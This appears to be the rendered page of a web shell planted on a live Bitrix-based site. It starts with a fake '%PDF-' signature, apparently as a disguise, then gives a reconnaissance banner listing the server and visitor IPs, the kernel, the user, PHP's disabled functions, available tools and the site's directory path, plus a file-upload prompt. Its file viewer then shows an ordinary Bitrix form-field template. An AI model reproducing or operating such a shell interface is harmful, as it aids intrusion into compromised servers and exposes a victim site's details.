%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.15.1.22 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/iblock.field.element/templates/main.edit_form/ |
Upload File : |
<?php if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die(); use Bitrix\Iblock\UserField\Types\ElementType; use Bitrix\Main\Text\HtmlFilter; if($arResult['userField']['SETTINGS']['DISPLAY'] === ElementType::DISPLAY_UI) { ?> <span id="<?= $arResult['valueContainerId'] ?>" style="display: none"> <?php for($i = 0, $n = count($arResult['startValue']); $i < $n; $i++) { ?> <input type="hidden" name="<?= HtmlFilter::encode($arResult['fieldName']) ?>" value="<?= HtmlFilter::encode($arResult['startValue'][$i]['VALUE']) ?>" > <?php } ?> </span> <span id="<?= $arResult['controlNodeIdJs'] ?>"></span> <?php $script = <<<EOT <script> function changeHandler_{$arResult['fieldNameJs']}(controlObject, value) { if(controlObject.params.fieldName === '{$arResult['fieldNameJs']}' && !!BX('{$arResult['valueContainerIdJs']}')) { var currentValue = JSON.parse(controlObject.node.getAttribute('data-value')); if(BX.type.isPlainObject(currentValue)) { BX('{$arResult['valueContainerIdJs']}').firstChild.value = currentValue['VALUE']; } else { var s = ''; if(!BX.type.isArray(currentValue)) { if(currentValue === null) { currentValue = [{VALUE:''}]; } else { currentValue = [currentValue]; } } if(currentValue.length > 0) { for(var i = 0; i < currentValue.length; i++) { s += '<input type="hidden" name="{$arResult['htmlFieldNameJs']}" value="'+BX.util.htmlspecialchars(currentValue[i].VALUE)+'" />'; } } else { s += '<input type="hidden" name="{$arResult['htmlFieldNameJs']}" value="" />'; } BX('{$arResult['valueContainerIdJs']}').innerHTML = s; } BX.fireEvent(BX('{$arResult['fieldNameJs']}_default'), 'change'); } } BX.ready(function(){ var params = {$arResult['params']}; BX('{$arResult['controlNodeIdJs']}').appendChild(BX.decl({ block: '{$arResult['block']}', name: '{$arResult['fieldNameJs']}', items: {$arResult['items']}, value: {$arResult['currentValue']}, params: params, valueDelete: false })); BX.addCustomEvent( window, 'UI::Select::change', changeHandler_{$arResult['fieldNameJs']} ); BX.bind(BX('{$arResult['controlNodeIdJs']}'), 'click', BX.defer(function(){ changeHandler_{$arResult['fieldNameJs']}( { params: params, node: BX('{$arResult['controlNodeIdJs']}').firstChild }); })); }); </script> EOT; print $script; } elseif($arResult['userField']['SETTINGS']['DISPLAY'] === ElementType::DISPLAY_CHECKBOX) { if($arResult['userField']['MULTIPLE'] === 'Y') { $type = 'checkbox'; ?> <input type="hidden" value="" name="<?= HtmlFilter::encode($arResult['fieldName']) ?>" > <?php } else { $type = 'radio'; } $isWasSelect = false; $result = ''; foreach($arResult['additionalParameters']['items'] as $itemId => $item) { $isSelected = ( (in_array($itemId, $arResult['additionalParameters']['VALUE'])) || ($arResult['userField']['ENTITY_VALUE_ID'] <= 0 && $item['DEF'] === 'Y') ); $isWasSelect = ($isWasSelect || $isSelected); $checked = ($isSelected ? ' checked' : ''); $editInList = ($arResult['userField']['EDIT_IN_LIST'] !== 'Y' ? ' disabled="disabled" ' : ''); $result .= <<<EOL <label> <input type="{$type}" value="{$item['ID']}" name="{$arResult['fieldName']}" {$checked} {$editInList} > {$item['VALUE']} </label> <br> EOL; } if( $arResult['userField']['MANDATORY'] !== 'Y' && $arResult['userField']['MULTIPLE'] !== 'Y' ) { ?> <label> <input type="<?= $type ?>" value="" name="<?= HtmlFilter::encode($arResult['fieldName']) ?>" <?= (!$isWasSelect ? ' checked' : '') ?> <?= ($arResult['userField']['EDIT_IN_LIST'] !== 'Y' ? ' disabled="disabled" ' : '') ?> > <?= HtmlFilter::encode(ElementType::getEmptyCaption($arResult['userField'])) ?> </label> <br> <?php } print $result; } elseif($arResult['userField']['SETTINGS']['DISPLAY'] === ElementType::DISPLAY_LIST) { ?> <select name="<?= HtmlFilter::encode($arResult['fieldName']) ?>" size="<?= $arResult['size'] ?>" <?= ($arResult['userField']['MULTIPLE'] === 'Y' ? ' multiple' : '') ?> <?= ($arResult['userField']['EDIT_IN_LIST'] !== 'Y' ? ' disabled="disabled" ' : '') ?> > <?php $isWasSelect = false; $result = ''; foreach($arResult['additionalParameters']['items'] as $itemId => $item) { $isSelected = ( in_array($itemId, $arResult['additionalParameters']['VALUE']) || ($arResult['userField']['ENTITY_VALUE_ID'] <= 0 && $item['DEF'] === 'Y') ); $isWasSelect = ($isWasSelect || $isSelected); $selected = ($isSelected ? ' selected' : ''); $result .= <<<EOL <option value="{$item['ID']}" {$selected}> {$item['VALUE']} </option> EOL; } if($arResult['userField']['MANDATORY'] !== 'Y') { ?> <option value="" <?= (!$isWasSelect ? ' selected' : '') ?> > <?= HtmlFilter::encode(ElementType::getEmptyCaption($arResult['userField'])) ?> </option> <?php } print $result; ?> </select> <?php }